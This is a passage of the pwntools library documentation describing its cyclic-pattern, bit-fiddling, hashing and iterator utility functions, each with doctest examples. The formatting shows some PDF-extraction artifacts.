>>> cyclic(32)
'aaaabaaacaaadaaaeaaafaaagaaahaaa'
```

The *alphabet* and *n* arguments will control the actual output of the pattern

```
>>> cyclic(20, alphabet=string.ascii_uppercase)
'AAAABAAACAAADAAAEAAA'
```

```
>>> cyclic(20, n=8)
'aaaaaaaabaaaaaaacaaa'
```

```
>>> cyclic(20, n=2)
'aabacadaeafagahaiaja'
```

The size of *n* and *alphabet* limit the maximum length that can be generated. Without providing *length*, the entire possible cyclic space is generated.

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
```

```
>>> cyclic(length=512, alphabet = "ABC", n = 3)
Traceback (most recent call last):
...
PwnlibException: Can't create a pattern length=512 with len(alphabet)==3 and n==3
```

The *alphabet* can be set in *context*, which is useful for circumstances when certain characters are not allowed. See `context.cyclic_alphabet`.

```
>>> context.cyclic_alphabet = "ABC"
>>> cyclic(10)
'AAAABAAACA'
```

The original values can always be restored with:

```
>>> context.clear()
```

The following just a test to make sure the length is correct.

```
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

pwnlib.util.cyclic.**cyclic_find**(*subseq*, *alphabet = None*, *n = None*) → int
  Calculates the position of a substring into a De Bruijn sequence.

> **Parameters**
>
> > • **subseq** – The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
> >
> > • **alphabet** – List or string to generate the sequence over. By default, uses `context.cyclic_alphabet`.
> >
> > • **n** (*int*) – The length of subsequences that should be unique. By default, uses `context.cyclic_size`.

Examples

Let's generate an example cyclic pattern.

```
>>> cyclic(16)
'aaaabaaacaaadaaa'
```

Note that 'baaa' starts at offset 4. The *cyclic_find* routine shows us this:

```
>>> cyclic_find('baaa')
4
```

The *default* length of a subsequence generated by *cyclic* is *4*. If a longer value is submitted, it is automatically truncated to four bytes.

```
>>> cyclic_find('baaacaaa')
4
```

If you provided e.g. *n=8* to *cyclic* to generate larger subsequences, you must explicitly provide that argument.

```
>>> cyclic_find('baaacaaa', n=8)
3515208
```

We can generate a large cyclic pattern, and grab a subset of it to check a deeper offset.

```
>>> cyclic_find(cyclic(1000)[514:518])
514
```

Instead of passing in the byte representation of the pattern, you can also pass in the integer value. Note that this is sensitive to the selected endianness via *context.endian*.

```
>>> cyclic_find(0x61616162)
4
>>> cyclic_find(0x61616162, endian='big')
1
```

You can use anything for the cyclic pattern, including non-printable characters.

```
>>> cyclic_find(0x00000000, alphabet=unhex('DEADBEEF00'))
621
```

pwnlib.util.cyclic.**cyclic_metasploit**(*length = None, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → str
    A simple wrapper over *metasploit_pattern()*. This function returns a string of length *length*.

> **Parameters**
>
> > • **length** – The desired length of the string or None if the entire sequence is desired.
> >
> > • **sets** – List of strings to generate the sequence over.

Example

```
>>> cyclic_metasploit(32)
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
>>> cyclic_metasploit(sets = ["AB","ab","12"])
'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'
>>> cyclic_metasploit()[1337:1341]
'5Bs6'
>>> len(cyclic_metasploit())
20280
```

pwnlib.util.cyclic.**cyclic_metasploit_find**(*subseq, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → int
    Calculates the position of a substring into a Metasploit Pattern sequence.

> **Parameters**
>
> > • **subseq** – The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer.
> >
> > • **sets** – List of strings to generate the sequence over.

Examples

```
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
```

pwnlib.util.cyclic.**de_bruijn**(*alphabet = None, n = None*) → generator
    Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet)**n` elements.

> **Parameters**
>
> - **alphabet** – List or string to generate the sequence over.
>
> - **n** (`int`) – The length of subsequences that should be unique.

pwnlib.util.cyclic.**metasploit_pattern**(*sets* = *[string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → generator

Generator for a sequence of characters as per Metasploit Framework's *Rex::Text.pattern_create* (aka *pattern_create.rb*).

The returned generator will yield up to `len(sets) * reduce(lambda x,y: x*y, map(len, sets))` elements.

> **Parameters** **sets** – List of strings to generate the sequence over.

2.33 `pwnlib.util.fiddling` — Utilities bit fiddling

pwnlib.util.fiddling.**b64d**(*s*) → str

Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
'test'
```

pwnlib.util.fiddling.**b64e**(*s*) → str

Base64 encodes a string

Example

```
>>> b64e("test")
'dGVzdA=='
```

pwnlib.util.fiddling.**bits**(*s*, *endian = 'big'*, *zero = 0*, *one = 1*) → list

Converts the argument a list of bits.

> **Parameters**
>
> - **s** – A string or number to be converted into bits.
>
> - **endian** (`str`) – The binary endian, default 'big'.
>
> - **zero** – The representing a 0-bit.
>
> - **one** – The representing a 1-bit.
>
> **Returns** A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero = "+", one = "-")
['+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits("test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0]
```

pwnlib.util.fiddling.**bits_str** (*s*, *endian = 'big'*, *zero = '0'*, *one = '1'*) → str
    A wrapper around *bits()*, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str("bits_str", endian = "little")
'0100011010010110001011101100111011111010110011100010111001001110'
```

pwnlib.util.fiddling.**bitswap** (*s*) → str
    Reverses the bits in every byte of a given string.

Example

```
>>> bitswap("1234")
'\x8cL\xcc,'
```

pwnlib.util.fiddling.**bitswap_int** (*n*) → int
    Reverses the bits of a numbers and returns the result as a new number.

>   #### Parameters

>   * **n** (*int*) – The number to swap.

>   * **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

pwnlib.util.fiddling.**bnot** (*value*, *width=None*)
    Returns the binary inverse of 'value'.

pwnlib.util.fiddling.**enhex** (*x*) → str
    Hex-encodes a string.

Example

```
>>> enhex("test")
'74657374'
```

pwnlib.util.fiddling.**hexdump**(*s*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*)

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False)
-> str generator

Return a hexdump-dump of a string.

> **Parameters**
>
> - **s** (*str*) – The data to hexdump.
> - **width** (*int*) – The number of characters per line
> - **skip** (*bool*) – Set to True, if repeated lines should be replaced by a "*"
> - **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
> - **begin** (*int*) – Offset of the first byte to print in the left column
> - **style** (*dict*) – Color scheme to use.
> - **highlight** (*iterable*) – Byte values to highlight.
> - **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines
>
> **Returns** A hexdump-dump in the form of a string.

Examples

```
>>> print hexdump("abc")
00000000  61 62 63                                          │abc│
00000003
```

```
>>> print hexdump('A'*32)
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  ␣
↪│AAAA│AAAA│AAAA│AAAA│
*
00000020
```

```
>>> print hexdump('A'*32, width=8)
00000000  41 41 41 41  41 41 41 41   │AAAA│AAAA│
*
00000020
```

```
>>> print hexdump(cyclic(32), width=8, begin=0xdead0000, hexii=True)
dead0000  .a  .a  .a  .a   .b  .a  .a  .a  │
dead0008  .c  .a  .a  .a   .d  .a  .a  .a  │
dead0010  .e  .a  .a  .a   .f  .a  .a  .a  │
dead0018  .g  .a  .a  .a   .h  .a  .a  .a  │
dead0020
```

```
>>> print hexdump(list(map(chr, range(256))))
00000000  00 01 02 03  04 05 06 07  08 09 0a 0b  0c 0d 0e 0f ␣
→│····│····│····│····│
00000010  10 11 12 13  14 15 16 17  18 19 1a 1b  1c 1d 1e 1f ␣
→│····│····│····│····│
00000020  20 21 22 23  24 25 26 27  28 29 2a 2b  2c 2d 2e 2f  │ !"#│$%&'│()*+│,-./
→│
00000030  30 31 32 33  34 35 36 37  38 39 3a 3b  3c 3d 3e 3f  │0123│4567│89:;│<=>?
→│
00000040  40 41 42 43  44 45 46 47  48 49 4a 4b  4c 4d 4e 4f ␣
→│@ABC│DEFG│HIJK│LMNO│
00000050  50 51 52 53  54 55 56 57  58 59 5a 5b  5c 5d 5e 5f  │PQRS│TUVW│XYZ[│\]^_
→│
00000060  60 61 62 63  64 65 66 67  68 69 6a 6b  6c 6d 6e 6f ␣
→│`abc│defg│hijk│lmno│
00000070  70 71 72 73  74 75 76 77  78 79 7a 7b  7c 7d 7e 7f  │pqrs│tuvw│xyz{│|}~
→·│
00000080  80 81 82 83  84 85 86 87  88 89 8a 8b  8c 8d 8e 8f ␣
→│····│····│····│····│
00000090  90 91 92 93  94 95 96 97  98 99 9a 9b  9c 9d 9e 9f ␣
→│····│····│····│····│
000000a0  a0 a1 a2 a3  a4 a5 a6 a7  a8 a9 aa ab  ac ad ae af ␣
→│····│····│····│····│
000000b0  b0 b1 b2 b3  b4 b5 b6 b7  b8 b9 ba bb  bc bd be bf ␣
→│····│····│····│····│
000000c0  c0 c1 c2 c3  c4 c5 c6 c7  c8 c9 ca cb  cc cd ce cf ␣
→│····│····│····│····│
000000d0  d0 d1 d2 d3  d4 d5 d6 d7  d8 d9 da db  dc dd de df ␣
→│····│····│····│····│
000000e0  e0 e1 e2 e3  e4 e5 e6 e7  e8 e9 ea eb  ec ed ee ef ␣
→│····│····│····│····│
000000f0  f0 f1 f2 f3  f4 f5 f6 f7  f8 f9 fa fb  fc fd fe ff ␣
→│····│····│····│····│
00000100
```

```
>>> print hexdump(list(map(chr, range(256))), hexii=True)
00000000      01  02  03   04  05  06  07   08  09  0a  0b   0c  0d  0e  0f  │
00000010  10  11  12  13   14  15  16  17   18  19  1a  1b   1c  1d  1e  1f  │
00000020  20  .!  ."  .#   .$  .%  .&  .'   .(  .)  .*  .+   .,  .-  ..  ./  │
00000030  .0  .1  .2  .3   .4  .5  .6  .7   .8  .9  .:  .;   .<  .=  .>  .?  │
00000040  .@  .A  .B  .C   .D  .E  .F  .G   .H  .I  .J  .K   .L  .M  .N  .O  │
00000050  .P  .Q  .R  .S   .T  .U  .V  .W   .X  .Y  .Z  .[   .\  .]  .^  ._  │
00000060  .`  .a  .b  .c   .d  .e  .f  .g   .h  .i  .j  .k   .l  .m  .n  .o  │
00000070  .p  .q  .r  .s   .t  .u  .v  .w   .x  .y  .z  .{   .|  .}  .~  7f  │
00000080  80  81  82  83   84  85  86  87   88  89  8a  8b   8c  8d  8e  8f  │
00000090  90  91  92  93   94  95  96  97   98  99  9a  9b   9c  9d  9e  9f  │
000000a0  a0  a1  a2  a3   a4  a5  a6  a7   a8  a9  aa  ab   ac  ad  ae  af  │
000000b0  b0  b1  b2  b3   b4  b5  b6  b7   b8  b9  ba  bb   bc  bd  be  bf  │
000000c0  c0  c1  c2  c3   c4  c5  c6  c7   c8  c9  ca  cb   cc  cd  ce  cf  │
000000d0  d0  d1  d2  d3   d4  d5  d6  d7   d8  d9  da  db   dc  dd  de  df  │
000000e0  e0  e1  e2  e3   e4  e5  e6  e7   e8  e9  ea  eb   ec  ed  ee  ef  │
000000f0  f0  f1  f2  f3   f4  f5  f6  f7   f8  f9  fa  fb   fc  fd  fe  ##  │
00000100
```

```
>>> print hexdump('X' * 64)
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58 ␣
→│XXXX│XXXX│XXXX│XXXX│
```

(continues on next page)

```
*
00000040
```

```
>>> print hexdump('X' * 64, skip=False)
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
00000020  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
00000030  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
00000040
```

```
>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00
↪'*32)
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  ␣
↪|aaaa|baaa|caaa|daaa|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  ␣
↪|maaa|naaa|oaaa|paaa|
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  ␣
↪|qaaa|raaa|saaa|taa·|
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  ␣
↪|····|····|····|····|
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  ␣
↪|···a|zaab|baab|caab|
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  ␣
↪|daab|eaab|faab|gaab|
00000080  68 61 61 62  69 61 61 62  6a 61 61 62  6b 61 61 62  ␣
↪|haab|iaab|jaab|kaab|
00000090  6c 61 61 62  6d 61 61 62  6e 61 61 62  6f 61 61 62  ␣
↪|laab|maab|naab|oaab|
000000a0  70 61 61 62  71 61 61 62  72 61 61 62  73 61 61 62  ␣
↪|paab|qaab|raab|saab|
000000b0  74 61 61 62  75 61 61 62  76 61 61 62  77 61 61 62  ␣
↪|taab|uaab|vaab|waab|
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ␣
↪|····|····|····|····|
*
000000e0
```

```
>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00
↪'*32, cyclic=1)
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  ␣
↪|aaaa|baaa|caaa|daaa|
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪|XXXX|XXXX|XXXX|XXXX|
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  ␣
↪|maaa|naaa|oaaa|paaa|
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  ␣
↪|qaaa|raaa|saaa|taa·|
```

```
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff ␣
↪|····|····|····|····|
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62 ␣
↪|···a|zaab|baab|caab|
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62 ␣
↪|daab|eaab|faab|gaab|
*
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 ␣
↪|····|····|····|····|
*
000000e0
```

```
>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00
↪'*32, cyclic=1, hexii=1)
00000000  .a  .a  .a  .a   .b  .a  .a  .a   .c  .a  .a  .a   .d  .a  .a  .a  |
00000010  .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X  |
*
00000030  .m  .a  .a  .a   .n  .a  .a  .a   .o  .a  .a  .a   .p  .a  .a  .a  |
00000040  .q  .a  .a  .a   .r  .a  .a  .a   .s  .a  .a  .a   .t  .a  .a  ##  |
00000050  ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##  |
00000060  ##  ##  ##  .a   .z  .a  .a  .b   .b  .a  .a  .b   .c  .a  .a  .b  |
00000070  .d  .a  .a  .b   .e  .a  .a  .b   .f  .a  .a  .b   .g  .a  .a  .b  |
*
000000c0                                                                    |
*
000000e0
```

```
>>> print hexdump('A'*16, width=9)
00000000  41 41 41 41  41 41 41 41   41          |AAAA|AAAA|A|
00000009  41 41 41 41  41 41 41                   |AAAA|AAA|
00000010
>>> print hexdump('A'*16, width=10)
00000000  41 41 41 41  41 41 41 41   41 41        |AAAA|AAAA|AA|
0000000a  41 41 41 41  41 41                       |AAAA|AA|
00000010
>>> print hexdump('A'*16, width=11)
00000000  41 41 41 41  41 41 41 41   41 41 41     |AAAA|AAAA|AAA|
0000000b  41 41 41 41  41                          |AAAA|A|
00000010
>>> print hexdump('A'*16, width=12)
00000000  41 41 41 41  41 41 41 41   41 41 41 41  |AAAA|AAAA|AAAA|
0000000c  41 41 41 41                              |AAAA||
00000010
>>> print hexdump('A'*16, width=13)
00000000  41 41 41 41  41 41 41 41   41 41 41 41   41  |AAAA|AAAA|AAAA|A|
0000000d  41 41 41                                      |AAA|
00000010
>>> print hexdump('A'*16, width=14)
00000000  41 41 41 41  41 41 41 41   41 41 41 41   41 41  |AAAA|AAAA|AAAA|AA|
0000000e  41 41                                           |AA|
00000010
>>> print hexdump('A'*16, width=15)
00000000  41 41 41 41  41 41 41 41   41 41 41 41   41 41 41  |AAAA|AAAA|AAAA|AAA|
0000000f  41                                                 |A|
00000010
```

`pwnlib.util.fiddling.`**`hexdump_iter`** (*fd*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*)

> **hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0,** style = None, highlight = None, cyclic = False) -> str generator
>
> Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use *hexdump()*.
>
> > **Parameters**
> >
> > - **fd** (*file*) – File object to dump. Use `StringIO.StringIO()` or *hexdump()* to dump a string.
> > - **width** (*int*) – The number of characters per line
> > - **skip** (*bool*) – Set to True, if repeated lines should be replaced by a "*"
> > - **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
> > - **begin** (*int*) – Offset of the first byte to print in the left column
> > - **style** (*dict*) – Color scheme to use.
> > - **highlight** (*iterable*) – Byte values to highlight.
> > - **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines
> >
> > **Returns** A generator producing the hexdump-dump one line at a time.

Example

```
>>> tmp = tempfile.NamedTemporaryFile()
>>> tmp.write('XXXXHELLO, WORLD')
>>> tmp.flush()
>>> tmp.seek(4)
>>> print '\n'.join(hexdump_iter(tmp))
00000000  48 45 4c 4c  4f 2c 20 57  4f 52 4c 44              │HELL│O, W│ORLD││
0000000c
```

```
>>> t = tube()
>>> t.unrecv('I know kung fu')
>>> print '\n'.join(hexdump_iter(t))
00000000  49 20 6b 6e  6f 77 20 6b  75 6e 67 20  66 75        │I kn│ow k│ung │fu│
0000000e
```

`pwnlib.util.fiddling.`**`hexii`** (*s*, *width = 16*, *skip = True*) → str

> Return a HEXII-dump of a string.
>
> > **Parameters**
> >
> > - **s** (*str*) – The string to dump
> > - **width** (*int*) – The number of characters per line
> > - **skip** (*bool*) – Should repeated lines be replaced by a "*"
> >
> > **Returns** A HEXII-dump in the form of a string.

`pwnlib.util.fiddling.`**`isprint`** (*c*) → bool

> Return True if a character is printable

`pwnlib.util.fiddling.`**`naf`**(*int*) → int generator

> Returns a generator for the non-adjacent form (NAF[1]) of a number, *n*. If *naf(n)* generates *z_0, z_1, . . .*, then *n* == *z_0 + z_1 * 2 + z_2 * 2**2, . . .*.

[1] https://en.wikipedia.org/wiki/Non-adjacent_form

Example

```
>>> n = 45
>>> m = 0
>>> x = 1
>>> for z in naf(n):
...     m += x * z
...     x *= 2
>>> n == m
True
```

`pwnlib.util.fiddling.`**`negate`**(*value*, *width=None*)

> Returns the two's complement of 'value'.

`pwnlib.util.fiddling.`**`randoms`**(*count*, *alphabet = string.lowercase*) → str

> Returns a random string of a given length using only the specified alphabet.

> > **Parameters**

> > > - **count** (*int*) – The length of the desired string.

> > > - **alphabet** – The alphabet of allowed characters. Defaults to all lowercase characters.

> > **Returns** A random string.

Example

```
>>> randoms(10)
'evafjilupm'
```

`pwnlib.util.fiddling.`**`rol`**(*n*, *k*, *word_size=None*)

> Returns a rotation by *k* of *n*.

> When *n* is a number, then means `((n << k) | (n >> (word_size - k)))` truncated to *word_size* bits.

> When *n* is a list, tuple or string, this is `n[k % len(n):]  + n[:k % len(n)]`.

> > **Parameters**

> > > - **n** – The value to rotate.

> > > - **k** (*int*) – The rotation amount. Can be a positive or negative number.

> > > - **word_size** (*int*) – If *n* is a number, then this is the assumed bitsize of *n*. Defaults to `pwnlib.context.word_size` if *None* .

Example

```
>>> rol('abcdefg', 2)
'cdefgab'
>>> rol('abcdefg', -2)
'fgabcde'
>>> hex(rol(0x86, 3, 8))
'0x34'
>>> hex(rol(0x86, -3, 8))
'0xd0'
```

pwnlib.util.fiddling.**ror**(*n, k, word_size=None*)

A simple wrapper around `rol()`, which negates the values of *k*.

pwnlib.util.fiddling.**unbits**(*s, endian = 'big'*) → str

Converts an iterable of bits into a string.

> **Parameters**
>
> - **s** – Iterable of bits
> - **endian** (`str`) – The string "little" or "big", which specifies the bits endianness.
>
> **Returns** A string of the decoded bits.

Example

```
>>> unbits([1])
'\x80'
>>> unbits([1], endian = 'little')
'\x01'
>>> unbits(bits('hello'), endian = 'little')
'\x16\xa666\xf6'
```

pwnlib.util.fiddling.**unhex**(*s*) → str

Hex-decodes a string.

Example

```
>>> unhex("74657374")
'test'
>>> unhex("F\n")
'\x0f'
```

pwnlib.util.fiddling.**urldecode**(*s, ignore_invalid = False*) → str

URL-decodes a string.

Example

```
>>> urldecode("test%20%41")
'test A'
>>> urldecode("%qq")
Traceback (most recent call last):
...
ValueError: Invalid input to urldecode
```

(continues on next page)

```
>>> urldecode("%qq", ignore_invalid = True)
'%qq'
```

pwnlib.util.fiddling.**urlencode**(*s*) → str
    URL-encodes a string.

Example

```
>>> urlencode("test")
'%74%65%73%74'
```

pwnlib.util.fiddling.**xor**(**args*, *cut = 'max'*) → str
    Flattens its arguments using *pwnlib.util.packing.flat()* and then xors them together. If the end of a string is reached, it wraps around in the string.

>   **Parameters**
>
>   - **args** – The arguments to be xor'ed together.
>
>   - **cut** – How long a string should be returned. Can be either 'min'/'max'/'left'/'right' or a number.
>
>   **Returns** The string of the arguments xor'ed together.

Example

```
>>> xor('lol', 'hello', 42)
'. ***'
```

pwnlib.util.fiddling.**xor_key**(*data*, *size=None*, *avoid='x00n'*) -> None or (int, str)
    Finds a `size`-width value that can be XORed with a string to produce `data`, while neither the XOR value or XOR string contain any bytes in `avoid`.

>   **Parameters**
>
>   - **data** (*str*) – The desired string.
>
>   - **avoid** – The list of disallowed characters. Defaults to nulls and newlines.
>
>   - **size** (*int*) – Size of the desired output value, default is word size.
>
>   **Returns** A tuple containing two strings; the XOR key and the XOR string. If no such pair exists, None is returned.

Example

```
>>> xor_key("Hello, world")
('\x01\x01\x01\x01', 'Idmmn-!vnsme')
```

pwnlib.util.fiddling.**xor_pair**(*data*, *avoid = 'x00n'*) -> None or (str, str)
    Finds two strings that will xor into a given string, while only using a given alphabet.

>   **Parameters**
>
>   - **data** (*str*) – The desired string.

- **avoid** – The list of disallowed characters. Defaults to nulls and newlines.

    Returns Two strings which will xor to the given string. If no such two strings exist, then None is returned.

Example

```
>>> xor_pair("test")
('\x01\x01\x01\x01', 'udru')
```

2.34 `pwnlib.util.hashes` — Hashing functions

Functions for computing various hashes of files and strings.

pwnlib.util.hashes.**md5file**(*x*)
    Calculates the md5 sum of a file

pwnlib.util.hashes.**md5filehex**(*x*)
    Calculates the md5 sum of a file; returns hex-encoded

pwnlib.util.hashes.**md5sum**(*x*)
    Calculates the md5 sum of a string

pwnlib.util.hashes.**md5sumhex**(*x*)
    Calculates the md5 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha1file**(*x*)
    Calculates the sha1 sum of a file

pwnlib.util.hashes.**sha1filehex**(*x*)
    Calculates the sha1 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha1sum**(*x*)
    Calculates the sha1 sum of a string

pwnlib.util.hashes.**sha1sumhex**(*x*)
    Calculates the sha1 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha224file**(*x*)
    Calculates the sha224 sum of a file

pwnlib.util.hashes.**sha224filehex**(*x*)
    Calculates the sha224 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha224sum**(*x*)
    Calculates the sha224 sum of a string

pwnlib.util.hashes.**sha224sumhex**(*x*)
    Calculates the sha224 sum of a string; returns hex-encoded

pwnlib.util.hashes.**sha256file**(*x*)
    Calculates the sha256 sum of a file

pwnlib.util.hashes.**sha256filehex**(*x*)
    Calculates the sha256 sum of a file; returns hex-encoded

pwnlib.util.hashes.**sha256sum**(*x*)
    Calculates the sha256 sum of a string

`pwnlib.util.hashes.`**`sha256sumhex`**(*x*)
    Calculates the sha256 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha384file`**(*x*)
    Calculates the sha384 sum of a file

`pwnlib.util.hashes.`**`sha384filehex`**(*x*)
    Calculates the sha384 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha384sum`**(*x*)
    Calculates the sha384 sum of a string

`pwnlib.util.hashes.`**`sha384sumhex`**(*x*)
    Calculates the sha384 sum of a string; returns hex-encoded

`pwnlib.util.hashes.`**`sha512file`**(*x*)
    Calculates the sha512 sum of a file

`pwnlib.util.hashes.`**`sha512filehex`**(*x*)
    Calculates the sha512 sum of a file; returns hex-encoded

`pwnlib.util.hashes.`**`sha512sum`**(*x*)
    Calculates the sha512 sum of a string

`pwnlib.util.hashes.`**`sha512sumhex`**(*x*)
    Calculates the sha512 sum of a string; returns hex-encoded

2.35 `pwnlib.util.iters` — Extension of standard module `itertools`

This module includes and extends the standard module `itertools`.

`pwnlib.util.iters.`**`bruteforce`**(*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*)
    Bruteforce *func* to return `True`. *func* should take a string input and return a `bool()`. *func* will be called with strings from *alphabet* until it returns `True` or the search space has been exhausted.

The argument *start* can be used to split the search space, which is useful if multiple CPU cores are available.

> **Parameters**
>
> - **func** (`function`) – The function to bruteforce.
>
> - **alphabet** – The alphabet to draw symbols from.
>
> - **length** – Longest string to try.
>
> - **method** – If 'upto' try strings of length `1 .. length`, if 'fixed' only try strings of length `length` and if 'downfrom' try strings of length `length .. 1`.
>
> - **start** – a tuple (`i, N`) which splits the search space up into *N* pieces and starts at piece *i* (1..N). `None` is equivalent to `(1, 1)`.
>
> **Returns** A string *s* such that `func(s)` returns `True` or `None` if the search space was exhausted.

Example

```
>>> bruteforce(lambda x: x == 'hello', string.lowercase, length = 10)
'hello'
>>> bruteforce(lambda x: x == 'hello', 'hllo', 5) is None
True
```

`pwnlib.util.iters.`**`mbruteforce`**(*func*, *alphabet*, *length*, *method = 'upto'*, *start = None*, *threads = None*)

Same functionality as bruteforce(), but multithreaded.

> **Parameters**
>
> > • **alphabet, length, method, start** (*func,*) – same as for bruteforce()
> >
> > • **threads** – Amount of threads to spawn, default is the amount of cores.

`pwnlib.util.iters.`**`chained`**(*func*)

A decorator chaining the results of *func*. Useful for generators.

> **Parameters func** (*function*) – The function being decorated.
>
> **Returns** A generator function whoose elements are the concatenation of the return values from func(*args, **kwargs).

Example

```
>>> @chained
... def g():
...     for x in count():
...         yield (x, -x)
>>> take(6, g())
[0, 0, 1, -1, 2, -2]
```

`pwnlib.util.iters.`**`consume`**(*n*, *iterator*)

Advance the iterator *n* steps ahead. If *n is :const:'None*, consume everything.

> **Parameters**
>
> > • **n** (*int*) – Number of elements to consume.
> >
> > • **iterator** (*iterator*) – An iterator.
>
> **Returns** None.

Examples

```
>>> i = count()
>>> consume(5, i)
>>> i.next()
5
>>> i = iter([1, 2, 3, 4, 5])
>>> consume(2, i)
>>> list(i)
[3, 4, 5]
```

`pwnlib.util.iters.`**`cyclen`**(*n*, *iterable*) → iterator

Repeats the elements of *iterable n* times.

> **Parameters**

- **n** (`int`) – The number of times to repeat *iterable*.

- **iterable** – An iterable.

Returns An iterator whoose elements are the elements of *iterator* repeated *n* times.

Examples

```
>>> take(4, cyclen(2, [1, 2]))
[1, 2, 1, 2]
>>> list(cyclen(10, []))
[]
```

pwnlib.util.iters.**dotproduct**(*x*, *y*) → int
    Computes the dot product of *x* and *y*.

   Parameters

- **x** (`iterable`) – An iterable.

- **x** – An iterable.

Returns The dot product of *x* and *y*, i.e. – x[0] * y[0] + x[1] * y[1] + ...

Example

```
>>> dotproduct([1, 2, 3], [4, 5, 6])
... # 1 * 4 + 2 * 5 + 3 * 6 == 32
32
```

pwnlib.util.iters.**flatten**(*xss*) → iterator
    Flattens one level of nesting; when *xss* is an iterable of iterables, returns an iterator whoose elements is the concatenation of the elements of *xss*.

   Parameters xss – An iterable of iterables.

   Returns An iterator whoose elements are the concatenation of the iterables in *xss*.

Examples

```
>>> list(flatten([[1, 2], [3, 4]]))
[1, 2, 3, 4]
>>> take(6, flatten([[43, 42], [41, 40], count()]))
[43, 42, 41, 40, 0, 1]
```

pwnlib.util.iters.**group**(*n*, *iterable*, *fill_value = None*) → iterator
    Similar to *pwnlib.util.lists.group()*, but returns an iterator and uses `itertools` fast build-in functions.

   Parameters

- **n** (`int`) – The group size.

- **iterable** – An iterable.

- **fill_value** – The value to fill into the remaining slots of the last group if the *n* does not divide the number of elements in *iterable*.

Returns An iterator whoose elements are *n*-tuples of the elements of *iterable*.

Examples

```
>>> list(group(2, range(5)))
[(0, 1), (2, 3), (4, None)]
>>> take(3, group(2, count()))
[(0, 1), (2, 3), (4, 5)]
